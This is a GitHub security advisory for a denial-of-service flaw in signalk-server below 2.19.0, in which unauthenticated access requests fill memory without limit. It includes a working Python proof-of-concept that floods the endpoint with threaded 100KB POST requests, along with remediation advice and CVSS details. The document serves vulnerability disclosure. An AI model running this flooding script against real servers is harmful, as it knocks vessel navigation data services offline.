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Signal K Server Vulnerable to Denial of Service via Unrestricted Access Request Flooding

High severity GitHub Reviewed Published Jan 1, 2026 in SignalK/signalk-server • Updated Jan 2, 2026

Package

npm signalk-server (npm)

Affected versions

< 2.19.0

Patched versions

2.19.0

Description

Summary

A Denial of Service (DoS) vulnerability allows an unauthenticated attacker to crash the SignalK Server by flooding the access request endpoint (/signalk/v1/access/requests). This causes a "JavaScript heap out of memory" error due to unbounded in-memory storage of request objects.

Details

The vulnerability is caused by a lack of rate limiting and improper memory management for incoming access requests.

Vulnerable Code Analysis:

  1. In-Memory Storage: In src/requestResponse.js, requests are stored in a simple JavaScript object:
    const requests = {}
  2. Unbounded Growth: The createRequest function adds new requests to this object without checking the current size or count of existing requests.
  3. Infrequent Pruning: The pruneRequests function, which removes old requests, runs only once every 15 minutes (pruneIntervalRate).
  4. No Rate Limiting: The endpoint /signalk/v1/access/requests accepts POST requests from any client without any rate limiting or authentication (by design, as it's for initial access requests).

Exploit Scenario:

  1. An attacker sends a large number of POST requests (e.g., 20,000+) or requests with large payloads to /signalk/v1/access/requests.
  2. The server stores every request in the requests object in the Node.js heap.
  3. The heap memory usage spikes rapidly.
  4. The Node.js process hits its memory limit (default ~1.5GB) and crashes with FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory.

PoC

The following Python script reproduces the crash by flooding the server with requests containing 100KB payloads.

import urllib.request
import json
import threading
import time

# Target Configuration
TARGET_URL = "http://localhost:3000/signalk/v1/access/requests"
PAYLOAD_SIZE_MB = 0.1  # 100 KB per request
NUM_REQUESTS = 20000   # Sufficient to exhaust heap
CONCURRENCY = 50

# Generate a large string payload
LARGE_STRING = "A" * (int(PAYLOAD_SIZE_MB * 1024 * 1024))

def send_heavy_request(i):
    try:
        payload = {
            "clientId": f"attacker-device-{i}",
            "description": LARGE_STRING, # Stored in memory!
            "permissions": "readwrite"
        }
        data = json.dumps(payload).encode('utf-8')
        
        req = urllib.request.Request(
            TARGET_URL, 
            data=data, 
            headers={'Content-Type': 'application/json'}, 
            method='POST'
        )
        # Short timeout as server might hang
        urllib.request.urlopen(req, timeout=5)
    except:
        pass

def attack():
    print(f"[*] Starting DoS Attack on {TARGET_URL}...")
    threads = []
    for i in range(NUM_REQUESTS):
        t = threading.Thread(target=send_heavy_request, args=(i,))
        threads.append(t)
        t.start()
        
        if len(threads) >= CONCURRENCY:
            for t in threads: t.join()
            threads = []

if __name__ == "__main__":
    attack()

Expected Result:
Monitor the server process. Memory usage will increase rapidly, and the server will eventually terminate with an Out of Memory (OOM) error.

Impact

Verified Denial of Service:
During our verification using the provided PoC, we observed the following:

  1. Rapid Memory Exhaustion: The Node.js process memory usage increased by approximately 30MB within seconds of starting the attack.
  2. Service Instability: Continued execution of the PoC quickly leads to a FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory crash.
  3. Service Unavailability: The server becomes completely unresponsive and terminates, requiring a manual restart to recover. This allows an unauthenticated attacker to easily take the vessel's navigation data server offline.

Remediation

1. Implement Rate Limiting
Use a middleware like express-rate-limit to restrict the number of requests from a single IP address to /signalk/v1/access/requests.

2. Limit Request Storage
Modify src/requestResponse.js to enforce a maximum number of stored requests (e.g., 100). If the limit is reached, reject new requests or evict the oldest ones immediately.

3. Validate Payload Size
Enforce strict limits on the size of the description and other fields in the access request payload.

References

@tkurki tkurki published to SignalK/signalk-server Jan 1, 2026
Published by the National Vulnerability Database Jan 1, 2026
Published to the GitHub Advisory Database Jan 2, 2026
Reviewed Jan 2, 2026
Last updated Jan 2, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(30th percentile)

Weaknesses

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource. Learn more on MITRE.

Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. Learn more on MITRE.

CVE ID

CVE-2025-68272

GHSA ID

GHSA-7rqc-ff8m-7j23
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